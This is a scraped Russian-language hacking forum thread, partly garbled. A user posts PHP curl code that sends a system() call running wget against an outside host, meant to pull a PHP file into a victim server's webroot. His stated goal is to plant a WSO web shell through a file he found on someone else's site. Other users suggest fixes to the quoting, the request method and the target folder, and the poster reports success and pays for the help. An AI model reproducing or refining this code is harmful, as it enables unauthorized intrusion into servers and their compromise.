![]() |
Добрый день , нашёл один сайт на котором лежит файл с таким содержимым:
.SpoilerTarget" type="button">Spoiler: Code1 Я создал на своём сервере файл .php и загрузил в него форму curl с отправкой файла: .SpoilerTarget" type="button">Spoiler: Code2 ass'); $codec = system("wget -b -P /var/www/ku/data/www/ip_serva_s_failom_code1/app/webroot/ https://ovrload.ru/f/*****.php"); $postdata ="fack=". urlencode(base64_encode($codec)); $headers["Content-Length"]= strlen($postdata); $headers["User-Agent"]="Curl/1.0"; $headers["Content-Length"]= strlen($postdata); $headers["User-Agent"]="Curl/1.0"; curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata); $res = curl_exec($ch); curl_close($ch);?> Пытаюсь отправить пост запрос с загрузкой файла через curl но файл создаётся на моем сервере а не на том ip куда я посылаю запрос. Авторизацию проходит , поэтому половина кода работает 100%, а POSRFIELDS вместо того что бы выполнятся на его сервере выполняется на моем , поправляете пожалуйста где сделал ошибку , если всё получится с меня 5$ на wmz Главная задача залить wso через файлик code1 |
Я так думаю надо в $codec = system("wget -b -P /var/www/ku/data/www/ip_serva_s_failom_code1/app/webroot/ https://ovrload.ru/f/*****.php");
после = и до ; взять в кавычки ну и разобраться с экранированием кавычек внутри... |
Цитата:
|
а почему у тебя пост? Нужно ведь гет?
И попробуй скопировать в папку /logs |
Цитата:
Код:
Code:Во-вторых, строка запроса должна быть в таком виде: Код:
Code: |
Цитата:
|
Цитата:
Код:
Code:Код:
Code: |
Цитата:
Ps. Все получилось , в конце $codec надо было поставить ....php");'; как-то так , и обращаться к key, Твой ответ мне помог напиши свой wmz в лс |
Цитата:
|
Цитата:
|
| Время: 04:02 |